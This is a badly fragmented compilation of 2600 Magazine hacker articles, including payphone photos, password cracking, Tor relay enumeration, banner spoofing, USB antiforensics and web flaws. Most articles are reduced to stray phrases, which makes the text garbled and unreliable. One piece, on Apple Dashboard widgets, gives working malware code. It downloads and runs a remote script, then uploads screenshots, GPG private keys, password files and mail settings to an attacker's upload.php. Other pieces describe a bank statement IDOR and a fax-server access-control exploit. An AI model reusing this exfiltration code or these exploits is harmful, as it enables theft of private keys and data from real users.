do this, go to “Tools

4. Test the TrueCrypt volume.

5. Install DSL on the encrypted 
volume. Download dsl-embedded 

h t t p : / / w w w . d a m n s m a l l l i n u x . o r g  

6. Create a hard drive Image for DSL.  

Caveats

-
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MAC Address Changer
by Plasticman

an all around semi-paranoid person, I 

-

-

www.nmap-tutorial.com, 

-

2600

/mnt/hdb

chmod 0777 /mnt/hdb into the 

/mnt/hdb -

Options

use dm-crypt

Links
 

     http://www.damnsmalllinux.org
http://www.truecrypt.org

http://www.qemu.org
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by L0j1k
l0j1k@l0j1k.net

-

-

-

-

-

Capturing Botnet 
MalwareUsing a Honeypot
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-

-

-

-

-

to do their work during the night at the host 
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with a .ro

Start

 
C:\Windows\Temp

-
-

-

-

-

-

-

-

pwned.bat

HKLM/SOFTWARE/ 

Microsoft/Windows/CurrentVersion/ 

 
pwned.bat

bot program was running and would start it 
pwned.bat did was to 

-

-

-

-

Shouts to bee, shea and his crew, arik, the 
culprit, everybody from ER and MUME, and the 

following resource for Americans, which is a 
compilation of different states' computer laws: 
http://www.ncsl.org/programs/lis/CIP/ 
hacklaw.htm
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Cracking with the 
Webtionary: Using 
Google and Yahoo! to 

Light-Force An (Almost) 
Infinite Dictionary

by Acrobatic

-

-

“5f4dcc3b5aa765d61d8327deb882cf99  

 
5f4dcc3b5aa765d61d8327deb882cf99 

-

GDataOnline.com alone has 
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by Jacob P. Silvia
jacob.silvia@gmail.com

Introduction 

warning against passwords without taking the 

want to, and indeed might not be allowed 
to, do something like running regedit when 

Supplies 

-

32b991e5d77ad140559ffb95 
522992d0

that somewhere out there, someone has used 

-

md5 -s plain-
text -

 
http://www.bigtrapeze.com/md5/.

 
http://www.bigtrapeze.com/md5/
source/ 

The scripts mentioned in this 
article can be downloaded from 

the 2600 Code Repository at 
http://www.2600.com/code/

JavaScript Password 
DOMination: Easy 

Password Retrieval Using 
JavaScript and the HTML
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-

a pen and a notebook in order to jot down 

JavaScript and the HTML DOM 

2600
javascript:command()

javascript:alert() will pop 

things to happen to people who like doing 
-

 
http://www.w3schools.com/htmldom/ 
default.asp

document, 
forms

elements, 

Procedure
Step 1

-

Step 2

Step 3 javascript:alert(docu 
ment.forms.length) into the addressbar 

Step 4  
javascript:alert(document.
forms[x].name)

Step 5  
javascript:alert(document. 
forms[x].elements.length)

Step 6
javascript:alert(document. 

forms[x].elements[y].name) until 

Step 7  

Step 8 javascript:alert(docu 
ment.forms[x].elements[y]. 
value)

-

Comments 

-
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by drlecter

Disclaimer: This article is for informational 
purposes only. If you get caught, it's not my 
problem. You shouldn't have been so stupid.

-

-

-

 
C:\KSV\Data

-

entire C:\

-

either in C:\KSV\credit cards. 
txt or C:\KSV\debit cards.txt

*.ini

-

Hello to Mom, Dad, and Sam.

Spirits 2000 
Insecurity
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Transmissions
by Dragorn

-

-

-

-

-

-

-

-

-

depending on when it was generated, 

“How to Neuter Cryptography for Thousands of Users in Two Lines”
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http://metasploit.com/ 
u s e r s / h d m / t o o l s /

debian-openssl/

-

-

to break the SSL sessions, without knowing 

-
-

and how it was used, a simple mistake 
-

-
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The Geek 
Squad

by Turgon

-

2600 Magazine

consumerist.com or on 

First Step

Second Step

Third Step

Fourth Step

and go to https://sts.geeksquad.com/sts
-

-

Fifth Step

-

-

-
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by malpelo93@gmail.com

-

-

-

https://ccss.bankofamerica.com/NASApp/ 

BofAcc/GetEstatement?docId=9054XXXXXX 

XXXXXXXXSTATEMENTSDocumentArchive$ 

9054XXXXXXXXXXXXXX011020080346& 

docDate=2008-00-10&docType=PDF& 

issuer=90&download=false
The “54XXXXXXXXXXXXXX

Bank of America Website Flaw Allows 

Reading of Other Customers' Statements

appears to be assigned to the statement and not to 

-

  

Wednesdays,  1900-2000  ET
WBAI  99.5  FM,  New  York  City  

and  at  http://www.2600.com/offthehook  over  the  net

Call  us  during  the  show  at  +1  212  209  2900.
Email  oth@2600.com  with  your  comments.

BROADCAST  FOR  ALL  THE  WORLD  TO  HEAR

OFF THE HOOK



Why is This Computer 
Connected to the 

Internet?
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by Porter Payne

2600
Off The Hook, and I 

internet?

-
-

-

-

-

-

-
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-

-
-

Live Free or Die Hard, 
-
-

-

-

-

better, don’t we?

-

Off 
The Hook

-

-

-

2600 and a Phrack printout 

References
• http://

w w w . c h a n n e l r e g i s t e r . c o . u k / 
2007/12/21/dwindling_antivirus 
_protection/

•  
http://www.infoworld.com/cgi-bin/ 
redirect?source=rss&url=http:// 
w w w . i n f o w o r l d . c o m /

a r t i c l e / 0 7 / 1 2 / 1 4 / 
Unix-admin-tried-to-axe-power- 
grid_1.html

•  
h t t p : / / r o o t k i t . c o m / n e w s r e a d 
.php?newsid=778

• 
h t t p : / / w w w . b u s i n e s s w e e k . c o m / 
t e c h n o l o g y / c o n t e n t / j u n 2 0 0 5 / 
tc20050617_1613_tc024.htm
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Foreign Payphones

Argentina

Photo by Kingpin



v v

Foreign Payphones

Barbados

Photo by Keith Hopkin
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Foreign Payphones

China  

Photo by Ben Tanner
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Foreign Payphones

Photo by Ben Tanner
Ethiopia
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Weird Payphone Moments

Morocco
Photo by Shareef Zawideh
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Weird Payphone Moments

England
Photo by Kokor Hekus
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Weird Payphone Moments

United States

Photo by Jerry Dixon
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Weird Payphone Moments

United States

Photo by Jerry Dixon
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Weird Ass Foreign Payphones

Tunisia. 

Photo by Lawrence Stoskopf
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Weird Ass Foreign Payphones

Panama. 

Photo by Xiguy
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Weird Ass Foreign Payphones

Fiji. 

Photo by Peter Vibert
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Weird Ass Foreign Payphones

Argentina. 

Photo by Martin
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More Strange Foreign Payphones

Mali. 
Photo by Stephen Rice
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More Strange Foreign Payphones

Thailand. 
Photo by swan
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More Strange Foreign Payphones

Peru. 

Photo by Mark Jensen
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More Strange Foreign Payphones

India. 
Photo by Larry Cashdollar
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Really Strange Payphones

India.  

Photo by infowallah



v v

Really Strange Payphones

India.  

Photo by infowallah
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Really Strange Payphones

Puerto Rico.  

Photo by Alex Llama
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Really Strange Payphones

Dominican Republic.

Photo by TicoPhreak
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More Funny Looking Payphones

United States.

Photo by Thomas Fleming
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More Funny Looking Payphones

Guinea.

Photo by alphabot
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More Funny Looking Payphones

Ecuador. 

Photo by pelik
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More Funny Looking Payphones

Canada. 

Photo by Paul Rainey



v v

Foreign	 Payphones

Azerbaijan

Photo by David Scott
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Foreign	 Payphones

Azerbaijan

Photo by David Scott
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Foreign	 Payphones

Cyprus

Photo by Daniel Olewine
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Foreign	 Payphones

Malaysia

Photo by Matthew W.
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Unusual	 Payphones

Antarctica

Photo by rooperator



v v

Unusual	 Payphones

Bahamas

Photo by Scott
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Unusual	 Payphones

Australia

Photo by Rowan Wilding
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and hopelessness on our website, the 

this, we wind up sharing something 

Hackers: Heroes 
of the Computer Revolution

Mythbusters also added 

the last 
shall be f
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It’s hard to imagine how that one will 

imagination is one area where our 
readers and attendees possess a great 
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Markup Language
by dual

http://dualisanoob.com/

Introduction

-

-

-

-

-

-

1. File Name Format
-

sion .scan.txt

800-555-xxxx.scan.txt, 
pennsylvania.scan.txt

2. Number and Description Format

-

800-851-6662 - "Thank you for calling.  
   Due to extreme weather conditions, 
   we are unable to answer your call   
   at this time. Please try your call 
   again later."
808-973-4381 - Oahu forecast

3. Standard Acronyms

• 

• 
• 
• 

• 
• 
• 
• 
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• 
• 
• 
• 

414-747-5399 - TTY NIS TTY
808-485-5555 - SIT "Code 4 8 Your call 
has been connected to a vacant number 
series..."

4. Standard Descriptors
-

• 
• 
• 
• 
• milliwatt
• reorder
• ring out
• silent

505-292-9996 - milliwatt
623-566-9994 - silent

5. Secondary Phone Numbers

800-483-6662 - Verizon West Network 
Control Center 972-615-6200

6. Message and Tandem Codes

-

505-225-9901 - CBCAD (Leaco message 
505-399)

7. Carriers

281-230-3203 - carrier
505-541-9999 - CONNECT 31200/ 
ARQ/V34/LAPM/V42BIS

 C
 UQKT2
 User Access Verification
 Username:

8. Other Numbers and Descriptions

-

Applications and BM2L's Future

-
2

-

-
2600

handscan.pl , and 
a website, handscan.net

 

References
http://www.bellsmind.net/Bells_ 

Mind/Welcome.html
2http://www.nano-editor.org/

http://dualisanoob.com/linux/perl/ 

handscan.txt

http://www.handscan.net/

h t t p : / / w w w . b i n r e v . c o m / f o r u m s / 

index.php?showforum=21

The scripts mentioned in this article 
can be downloaded from the 

2600 Code Repository at 
http://www.2600.com/code/
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The TORminator

by OSIN 
  

en masse

http://uk.geocities.com/

osin1776/

cached-routers, or, in newer 
cached-descriptors

Then, the cached-routers

/home/user/.tor/cached-routers

cat /home/user/.tor/cached-routers | 

grep “router “ > tmp.txt 

grep

with wc -l
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64.222.0.0-

64.223.255.255

cat /home/user/.tor/cached-routers |  
grep “router” | grep “ 64\.222\.” 

cat /home/user/.tor/cached-routers |  
grep “router” | grep “ 64\.223\.” 

parse.pl

./parse.pl [tor_cache_file] 

[IP_segments_test_file] [registry] 

verizon/
verizon/ARIN
verizon/RIPE
verizon/APNIC
verizon/LACNIC
verizon/AFRINIC

tor_cache_file  
cached-routers /

home/user/

The IP_segments_test_file

cached-routers

verizon/verizon.txt segments 

64\. 
138\. 
199\. 
129\. 
130\. 
162\. 
151\. 
141\. 
209\. 
207\. 
68\. 
4\. 
70\. 
71\. 
72\. 

96\. 

 The registry

./parse.pl /home/user/.tor  

cached-routers verizon ARIN

wget

cat verizon/ARIN/*.html | grep  

“OrgName:” | grep “Verizon” | wc -l 

address that was entered during registration 

 
 

http://uk.geocities.com/osin331/  
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The State of Cyberspace 
and Cyberwar

 
cached-routers 

database to store the data, and I update this 

routers.txt

the cached-routers or cached-descriptors 

DATE_

UPDATED

OrgID

OrgID

The scripts mentioned in this article 
can be downloaded from the 

2600 Code Repository at 
http://www.2600.com/code/

by Barrett Brown

-

-
L0rd_p00p00@gmail.

com
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-

-

 
The National Strategy to Secure Cyberspace, 

-

I, and there is no doubt that we are well on the 

-

media makes it sound like we are in the middle 

Internet was unleashed upon the world, it 

-

-

-

“Please encrypt your data, people. If you don't, 
evil will take over the world.” 

— Thomas Jefferson, well-known Dutch Author
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Watching 

the Watchers
by ZoeB

2600 readers are aware 

-

Redirecting your browser

http://www.google-analytics.com/ 
urchin.js

/etc/hosts

-

users should be able to pop open a terminal 

127.0.0.1 www.google-analytics.com

Finding out who uses Analytics

and know how to set up domain names on 

httpd.conf and setting up a 

urchin.js

function urchinTracker() {
    window.status = 'This site tried to  
contact Google Analytics';

}

-



-

-

-

-

Zenith numbers, these were also operator 

-

-

-

Telecom Informer
by The Prophet
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-

-

-
-

-

-

References
• 

•  

-

-

-
-

-
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by zeitgeist

0x00 Disclaimer

0x10 Introduction to dashboard widgets

-

-

-

-

Dashboard widgets are programmed 

0x20 Dashboard's security model

/bin/bash 

Info.plist

-

-

also three important boolean parameters 
 

AllowFileAccessOutsideOfWidget, 
AllowNetworkAccess, and AllowSystem  

0x30 What's wrong with 
the security model

~/.gnupg/secring.gpg

is Info.plist

Info.plist

Info.plist is bundled with the widget 
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Apple Dashboard Widget Insecurity
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0x40 Exploitation concept

-

-
/tmp

0x50 Proof of concept

0x51 The widget

-

nasty() 

dummyHandler() 
widget.

system()
nasty() -

tion relies on being allowed to make 
widget.system()
the master.sh  
/tmp

dummyHandler() 

curl 

AllowNetworkAccess and 
AllowSystem

AllowFileAccessOutsideOfWidget 

function nasty() {
  if(window.widget) {
    widget.system("/usr/bin/curl -o / 

tmp/master.sh http://www.geisterstunde. 

org/master.sh",dummyHandler);
    widget.system("/bin/chmod u+x / 

tmp/master.sh",dummyHandler);
    widget.system("/tmp/master.sh", 

dummyHandler);
  }
}
function dummyHandler() {
}

<key>AllowFileAccessOutsideOfWidget</key>
<true/>
<key>AllowNetworkAccess</key>
<true/>
<key>AllowSystem</key>
<true/>

 
HTTP_PROXY

-

logger program 

screencapture 
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#!/bin/bash
/bin/echo "0wned by zeitgeist"  

| /usr/bin/logger
# For screen capturing and uploading
screencapture -Sx /tmp/screen.jpg
curl -F userfile=@/tmp/screen.jpg  

-F press=ok http://www.geisterstunde 

.org/upload.php

0x53 The upload PHP script

-

files/ 
sure that the files/ 

<?php
$uploaddir = 'files/';
$uploadfile = $uploaddir . "screen-" .  

md5(time()) . ".jpg";
if(isset($_REQUEST['press']))
  move_uploaded_file($_FILES['userfile'] 

['tmp_name'], $uploadfile);
?>

 
0x60 Endless possibilities

0x61 Upload the ~/.gnupg/secring.
gpg to get a user's private GPG keys

/usr/bin/curl -F userfile=@~/.gnupg/ 

secring.gpg -F press=ok http:// 

www.geisterstunde.org/upload.php

mdfind

for filename in `mdfind password`; do
 if [[ -e $filename ]]; then
    /usr/bin/curl -F userfile=@$filename  

-F press=ok http://www.geisterstunde. 

org/upload.php
  fi
done

0x63 Look through the user's 
~/Library/ directory

0x64 Read the user's Mail.app settings

defaults read com.apple.Mail  
> /tmp/mail defaults.txt

if [[ -e "/tmp/maildefaults.txt"]]; then
  /usr/bin/curl -F userfile=@/tmp/mail 
defaults.txt -F press=ok http://www. 
geisterstunde.org/upload.php

fi

 
0x65 Change the user's 
default page in Safari

defaults write com.apple.Safari 
HomePage 
"http://www.geisterstunde.org"

0x70 Making things easy for you

a user who wants to download the widget 

0x80 Wrap up

http://www.geister 

stunde.org/widget badwidget.zip 

-
able at http://www.geisterstunde.org/files/  

-
http://www.geister 

stunde.org/widget/WidgetInspector.zip, 

Greetings to dorothea, macglove, mattjowil, alex, 
yin, frida, the Machackers, 

and the CCC.



Penetration Testing 
the Red Team Way
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by MS-Luddite

What is Penetration Testing?

-

-

Enter the “Red Team”
While traditional penetration testing 

-
-

-

-

Red Teaming Structure
-

-

Legal and Other Concerns

some predetermined boundaries when using 

-

-

-

-

-
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Send your article to articles@2600.com (ASCII text preferred, 

graphics can be attached) or mail it to us at 2600 Editorial Dept., 

PO Box 99, Middle Island, NY 11953-0099 USA. If you go the snail 

mail route, please try to include a CD copy so we don’t have to 

retype the whole thing if we decide to use it.

Articles must not have already appeared in another publication or on the Internet. 

Once published in 2600, you may do whatever you please with your article.

WRITERS WANTED

-

-

Hackers and Crackers

-

-

-

Conclusions

Reference
http://en.wikipedia.org/wiki/Red_Team
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by Element.Crying
Element.Crying@Gmail.com

iframe
pointed to “menus/mainMenu/default.  
aspx?xAUID=2002&

interested in was the “xAUID
manipulating the number in the “xAUID

browser at http://faxcore.domain.
local/?xAUID=2001&

tokens is “$$USER.PASSWORD$$

knew that the password token was used to 

         _    _ _____ _____    ______            _       _ _   
    /\  | |  | |_   _|  __ \  |  ____|          | |     (_) |  
   /  \ | |  | | | | | |  | | | |__  __  ___ __ | | ___  _| |_ 
  / /\ \| |  | | | | | |  | | |  __| \ \/ / '_ \| |/ _ \| | __|
 / ____ \ |__| |_| |_| |__| | | |____ >  <| |_) | | (_) | | |_ 
/_/    \_\____/|_____|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                          | |                  
                                          |_|                  

  ______                    _____                              
|    ____|                /  ____|                            
|  |__  __  ___    _|  |          ___    _  __  ___  
|    __/  _`  \  \/  /  |        /  _  \|  '__/  _  \
|  |  |  (_|  |>    <|  |___|  (_)  |  |  |    __/
|_|    \__,_/_/\_\\_____\___/|_|    \___|
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was greeted with a page that showed what 

http://faxcore.  
domain.local/apps/message  
Viewer/deliveryTestTokens.  
aspx?xUserID=

2600

Shoutout to Element!

ResHacking 
Windows Vista games

by Vitaminion
vitaminion@gmail.com

-

-

 
http://www.angusj.com/resourcehacker/

-

Program Files\

Microsoft Games -

MineSweeper.dll

Unlock the hidden debug menu
Minesweeper.exe

-

en-US

MENU
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-

24 by 30 board the game allows
Minesweeper.dll

UI\MINESWEEPER.XML

MaxBoardWidth and MaxBoard-
Height

tag in that same UI\MINESWEEPER.XML

Change graphics, sounds 
and other settings

Minesweeper.dll

DATA

SHEETS\BLUESHEET1X21.

JPG

DATA, 

SHEETS\BLUESHEET1X21.JPG 

-

by mOther

http://www.bleep.com/

http://www. 
bleep.com/player.php?track=<releaseID> 
_DM-<track>
releaseID

album, and track

http:// 

listen.bleep.com/player.php?key=<key>

wget -O test.mp3 http://listen.bleep 
.com/player.php?key=<key>

The scripts mentioned in this 
article can be downloaded from 
the 2600 Code Repository at 

http://www.2600.com/code/

Ripping MP3s from Bleep
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by PriesT
priestinaround@gmail.com

I look past the dealing with stupid idiots and 

-

-

here had done just that, and he wanted his 

-

-

-

lock.exe

http://www.hak5.org/archives/169

lock.exe, 

 
lock.exe
password and to start anew with the settings 

lock.exe 

.doc

Links:
 http://www.provantage. 

com/imation-18405~73MDS2J1.htm
 

http://www.imation.com/support/ 
drivers/ImationLOCK.exe

http://www.runtime 
.org/data-recovery-software.htm

Shout out: gamer4goood.

Imation 
Insecurities
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by ilikenwf
parwok@gmail.com

-

What is it?

-

Set It Up

-

sites, although one site per domain will keep 

-

Automatic Content

Blackhat SEO: 
Exploiting The Dumb 

Masses to Make A Profit
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assume that 2600

Get Indexed and Monetize

.info

-

-

Notes

-

-

 

Useful Sites

http://syndk8.net

http://bluehatseo.com

http://forums.digitalpoint.com

 
http://snippets.dzone.com/posts/
show/3329

http://getyacg.com
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Nick Farr

Hacker Perspective

2600 meeting, 

2600

that hard to register a student group, get a 

power outlets, a huge board room table with 

upstairs ballrooms to help sell these limited-

“For these people, there’s no separation between work and fun.”
- Aaron Swartz (www.aaronsw.com)
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It was around this time that I began to get 

getting a lot easier, thanks to the great work 
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If you’re interested in building a hacker-
space, be sure to check out hackerspaces.org. 
Nick is more than happy to take your e-mails 
at nickfarr@hacdc.org
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Sp    fing Banners 
with Open 

Source Servers

by m0untainrebel
m0untainrebel@riseup.net

-

insecure.org

root@sirius:~# nmap 192.168.1.10
Starting Nmap 4.60 ( http://nmap.org) 
 at 2008-04-26 20:45 EDT
Interesting ports on 192.168.1.10:
Not shown: 1711 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3128/tcp open  squid-http
5900/tcp open  vnc
Nmap done: 1 IP address (1 host up) 
 scanned in 0.139 seconds

-

root@sirius:~# nmap -sV 192.168.1.10

Starting Nmap 4.60 ( http://nmap.org) 

at 2008-04-26 20:46 EDT

Interesting ports on 192.168.1.10:

Not shown: 1711 closed ports

PORT     STATE SERVICE    VERSION

22/tcp   open  ssh        OpenSSH  

4.7p1 Debian 8ubuntu1 (protocol 2.0)

80/tcp   open  http       Apache  

httpd 2.2.8 ((Ubuntu) PHP/5.2.4- 

2ubuntu5 with Suhosin-Patch)

3128/tcp open  http-proxy  

Squid webproxy 3.0.STABLE1

5900/tcp open  vnc        VNC 

(protocol 3.7)

Nmap done: 1 IP address (1 host up) 

scanned in 11.194 seconds

-
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root@sirius:~# nc 192.168.1.10 22

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

root@sirius:~# nc 192.168.1.10 80

root@sirius:~# nc 192.168.1.10 3128

root@sirius:~# nc 192.168.1.10 5900

RFB 003.007

root@sirius:~# nmap -sV -p80,3128 

192.168.1.10

-

openssh.org and down-

sshd.c

sshd_exchange_ 

identification()

snprintf(buf, sizeof buf, "SSH-%d.%d- 

%.100s\n", major, minor, SSH_VERSION 

);

looks similar to “SSH-2.0-OpenSSH_4.7p1 

Debian-8ubuntu1 SSH-%d.%d-,

SSH_VERSION

version.h

snprintf(buf, sizeof buf, “SSH-%d.%d- 

MESS WITH THE BEST, DIE LIKE THE 

REST\n”, major, minor);

-
INSTALL

 

./configure, then make, then  
make install

root@sirius:~# nc 192.168.1.10 22

SSH-2.0-MESS WITH THE BEST, DIE LIKE 

THE REST

-

root@sirius:~#  nmap  -sV  -p22  

192.168.1.10
Starting  Nmap  4.60  (  http://nmap.org  )  

at  2008-04-26  21:00  EDT
Interesting  ports  on  192.168.1.10:
PORT            STATE  SERVICE  VERSION
22/tcp  open    ssh            (protocol  2.0)
1  service  unrecognized  despite    

returning  data.  If  you  know  the    

service/version,  please  submit  the  

  

insecure.org/cgi-bin/servicefp-  

submit.cgi  :
SF-Port52186-TCP:V=4.60%I=7%D=4/2  

6%Time=4813D050%P=x86_64-unknown-  

linux-gnu%r(NULL,2E,”SSH-2\.0-  

MESS\x20WITH\x20THE\x20BEST,\  

x20DIE\x20LIKE\x20THE\x2

SF:0REST\n”);;
Service detection performed. Please  

report any incorrect results  

at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) 

scanned in 6.087 seconds

-
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A Different Kind of 
Remote Scripting

by Atom Smasher
atom@smasher.org

pgp = 762A 3B98 A3C3 96C9 C6B7 
         582A B88D 52E4 D9F5 7808

-

Trick 1: SSH can 
execute remote commands.

uptime 

% uptime
9:54PM  up  2:07, 0 users, load  

averages: 0.08, 0.14, 0.10

uptime 

uptime

 

% ssh atom@suspicious.org uptime
9:54pm  up 77 days 11:29,  7 users, 

load average: 0.00, 0.00, 0.00

Trick 2: Command interpreters (shells) 
can read commands from standard input.
% echo uptime | sh
9:55PM  up  2:08, 0 users, load  

averages: 0.05, 0.12, 0.08

sh

sh
bash, zsh, ksh

perl, php, 
python

% echo 'puts "Hello world."' | ruby
% echo 'print "Hello World."' | python
% echo 'print "Hello World.\n";' | perl
% echo '<? echo("Hello World.\n"); 

?>' | php

-

Trick 3: SSH can pass data through 
standard input, output and error.

% echo uptime | ssh atom@suspicious 
.org sh

9:57pm  up 77 days 11:32,  7 users, 
load average: 0.00, 0.00, 0.00

uptime into a pipe, 
the pipe is passing it to the standard input 

ssh sh 

sh, and then 
-

sh
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sh

% ssh atom@suspicious.org 'echofoobar' 
| rot13 sbbone

rot13

% ssh atom@suspicious.org  
'echo foobar 1>&2' | rot13

foobar

is still being piped into rot13, the output is not 
-

Trick 4: SSH will return with the exit 
status of the last command it executes.

% ssh atom@suspicious.org 'ls foobar'
ls: cannot access foobar: No such file 

or directory
% echo $?
2

foobar, the ls

-

Pot Smoking Bush Voters
I wound up in a bad business deal with 

-

-

-

-

-

Putting It All Together

% cat test-script
#!/bin/sh
## cat my plan and pipe it into rot13
cat ~/.plan | rot13

% ssh atom@smasher.org sh < test-script
Pbzcyrgr, gbgny, hapbzcebzvfrq tybony 

qbzvangvba.

<

% script1 | script2 && script3
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% ssh user@morons.example sh < script1 
| script2 && ssh user@morons.example 
sh < script3

script2

script1

script2

script2

script3

It then renamed the table, so there was no 

script2

script3

-

Security Considerations & 
Other Applications

-

adblock-wrt54g  

The scripts mentioned in this article 
can be downloaded from the 

2600 Code Repository at 
http://www.2600.com/code/
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Six Quick Points of Disguise
by MasterChen

-

-

-
2600

Before Look
-

The Change

After Look

 

The Next Step

-
-

book and pen to walk around in the general 

-

Points to Consider

-
-

-
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by Frater Perdurabo

Whitepages.com 

-

 
http://wireless.att.com/

 
 
 

firstname_lastname123 
@provider.com? It turns out that this was 

2600, or 

Shout outs: Robert Anton Wilson, LSD, 
Dr. Grof. And, remember, Barack Obama is 

the only candidate to support Net Neutrality.

AT&T Wireless
Customer Information

Advanced Techniques Last Words

is subtle enough not to bring attention, but 

Suggested Reading

Mind Manipulation

Shout outs: #telephreak, #ca2600, #nv2600, 
#infoinject, gid, bgm, sneaksy, isfbf702, ch0pst1x, 

Yasumoto.
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by The Cheshire Catalyst
cheshire@2600.com

-
nessmen went to print their phone 

-

-

The Cheshire Catalyst (Richard 
Cheshire) is the former publisher of the 
notorious TAP Newsletter of the 1970s 
and 80s. He has also attended and volun-
teered at every HOPE Conference we've 
ever held.

Shout out: The mAltman.

Setting Up Your 
Mobile Phone for 

International Dialing
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by briatych

Disclaimer: The information provided in this 
article is provided for educational purposes only; 
please do not use this information for illegitimate 
exploits. This article will show you how to 
eliminate USB traces for Windows 2000 and 
Windows XP machines. 

setupapi.log

C:\WINNT\setupapi.log 
C:\Windows\setu 

papi.log
HKEY_ 

LOCAL_MACHINE\SYSTEM\CurrentCon 
trolSet\Enum\USBSTOR

.sys .dll
.exe

1. 

2. setupapi.log

3. 
CurrentControlSet\Enum 

and delete the USBSTOR
CurrentControlSet, 

ControlSet001, ControlSet002, and so 

USBSTOR

4. 

5. 

It is important to point out that there are 

dllcache and 
prefetch

USB  
Antiforensics
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Transmissions
by Dragorn

I’m sure we all thought we were done 

to be said about open wireless networks? 

four years ago. 

unlike the attempt at Lowes, this was both 
-

-

-

-

-

-
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-

these 

-

-

being ordered to new addresses tripping 
alarms - and I’d be done writing about this 

-

2600

-

-

The Last HOPE
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<?php

echo "Be Your Own DDNS Service Using PHP";

?>

by glider

The Problem

-

The Ingredients

xampp.org

Getting Your IP

$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];

echo $ip;

Sharing Your IP

IP when I hit the page, but the danger there is 

might trip the page, writing the wrong IP 

$url = "http://www.your-domain.com/ 
ip.php";

// this is the page on the web that 
returns your IP

$fn = "C:\ip.txt";
// this is the file that you'll 
write your IP to

$cmd = "ftp -s:E:\ipup.txt";
// this is the command-line  
call to the FTP program

echo "Getting IP from $url...\n”;
// open the web page and nab the IP
$fp = fopen($url,"r") or die;
$data = fread($fp, 4096);
fclose($fp);

// write the IP to the file for upload
$fnew = fopen($fn,"w+") or die;
echo "Writing $data to local file...\n";
if (is_writable($fn)) {
  if (!$handle = fopen($fn, 'wb')) {
    exit;

  }
  if (fwrite($handle, 
$data) === FALSE) {
    exit;

  }
  fclose($handle);
}

echo "FTP-ing $data to 
your-domain...\n”;
shell_exec($cmd);
// this executes the FTP command that 

uploads the file you just wrote

Updating Your IP: The FTP Call

ipup.

txt in the $cmd
start with “quote”

open www.your-domain.com
user-name
password
quote CWD /your-domain.com/new-directory
quote TYPE A
quote PASV
put C:\ip.txt
close
quit
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by suN8Hclf
suN8Hclf@vp.pl

0x00 Introduction

-

-

Discovering
Firewalls

-

-

-

The CWD

Updating Your IP: The Service

C:\xampp\php\php.exe C:\sendip.php

into a .vbs
CreateObject("Wscript.Shell").Run """" & 

WScript.Arguments(0) & """", 0, False

C:\WINDOWS\system32\wscript.exe "C:\ 
invisible.vbs" "C:\sendip.bat"

$fp = @fsockopen ($addy, $port, 
$errno, $errstr, $timeout);
// $addy is your current IP, $port  
is the port your client is using,

// $timeout is how long to  
wait (2 is dandy)

if ($fp) {
echo "Connection good!"
@fclose($fp);
} else {
echo "Connection down."
}

Caveats
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0x01 Discovering Firewalls

Basic traceroute

# traceroute www.server.com

...

3. router1.main.com

4. router2.main.com

5. * * *

...

TCP traceroute -

-

# hping2 -T -t 1 -S -p 80 www.server.com

...

hop=4 TTL 0 during transmit from  

ip=10.1.1.225 name=router2.main.com

hop=5 TTL 0 during transmit from  

ip=10.2.2.225 name=UNKNOWN

...

through, and we now know that the IP address 

TTL differences -

# hping2 -S -p 80 -c 1 www.server.com

...

len=46 ip=192.168.0.4 flags=SA DF seq=0  

ttl=27 id=0 win=5820 rtt=9.2 ms

...

# hping2 -S -p 9999 -c 1 www.server.com

...

len=46 ip=192.168.0.4 flags=SA DF  

seq=0 ttl=28 id=0 win=0 rtt=9.2 ms

...

www.server.com is behind a 

0x02 Identifying Firewalls

Simple banner grabbing

# nc -vv firewall.main.com

TCP footprinting

-
-

# nmap -sS -O www.server.com

# nmap -sS -O firewall.main.com

Deafult ports -

-

-

0x03 Conclusion

Special thanks to Mr P. Sobczak, Mrs 
M. Domosud (for trust), M. Slaski, P. Jeda, 

P. Wieczorek, D. Zagalski, Oin, Die_Angel, and 
abwmiZ (for inspiration).



THE HACKER DIGEST - VOLUME 25    

161

by Dr. Zoltan
drzoltan@drzoltan.com

then bending those rules to make something 

-

their understanding, taking things apart, and 

-

-

-

-

-

-

are -

-

-

-
-

to break that barrier and arrange just-tempered 

What the world needs is more people 

Hacking Music



the Internet in getting the message out and 

other kind 

2600
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B e g i n n i n g s



side or another in power is no guarantee 

certainly

mean that the people running things will 

“The Internet is the most open network 
in history. We have to keep it that way. 

I will prevent network providers from 
discriminating in ways that limit the freedom 
of expression on the Internet. Because most 
Americans only have a choice of only one 
or two broadband carriers, carriers are 
tempted to impose a toll charge on content 
and services, discriminating against websites 
that are unwilling to pay for equal treatment. 
This could create a two-tier Internet in which 
websites with the best relationships with 
network providers can get the fastest access 
to consumers, while all competing websites 
remain in a slower lane. Such a result would 
threaten innovation, the open tradition and 
architecture of the Internet, and competition 
among content and backbone providers. It 
would also threaten the equality of speech 
through which the Internet has begun to 
transform American political and cultural 
discourse. Accordingly, network providers 
should not be allowed to charge fees to 
privilege the content or applications of some 
websites and Internet applications over 
others. This principle will ensure that the new 

speakers, have the same opportunity as 
incumbents to innovate on the Internet and 
to reach large audiences. I will protect the 
Internet’s traditional openness to innovation 
and creativity and ensure that it remains a 
platform for free speech and innovation that 

handle on what the Internet is about and the 
potential it promises, as well as the threat 
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by Paradox

all

eventually

immediately

cp

dd 

ls -l /dev/disk/by-id/usb*

"usb*"
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sudo dd if=<input device/
partition> of=<outputFile>

sudo dd if=/dev/sdb1 of=/
home/daniel/diskImage.dd

planning to use a tool that wants to work with 

sudo mount -o loop -t <type>  

<imageLocation> <mountLocation>

sudo mount -o loop -t vfat /home/ 

daniel/diskImage.dd /mnt/ 

diskFiles

sudo apt-get install foremost 

sudo foremost -t jpg -i /home/ 

daniel/diskImage.dd -o /home/ 

daniel/recovered

sudo foremost -t all -i  

<imageLocation> -o <outputFolder>

The -t

use –t ole

chown
sudo chown -R <yourUser>:<yourUser>  

<outputFolder>

sudo chown -R daniel:daniel /home/ 

daniel/recovered

 
/home/daniel/recovered/jpg/

Resources
http://foremost.sourceforge.net/ 

http://Linux.die.net/man/1/dd

http://Linux.die.net/man/8/mount

http://www.knoppix.org/



THE HACKER DIGEST - VOLUME 25    

166

Hacking Dubai 
and More Internet 
Proxy Loopholes

by forgotten247

2600 would do, the 

Then something hit me about the page to 

landing page to enter a random username 

number two, would entering a name with a 

Things were starting to look grim, but I 

that had been present on the laptop didn’t 

granting pages were dependent on web 
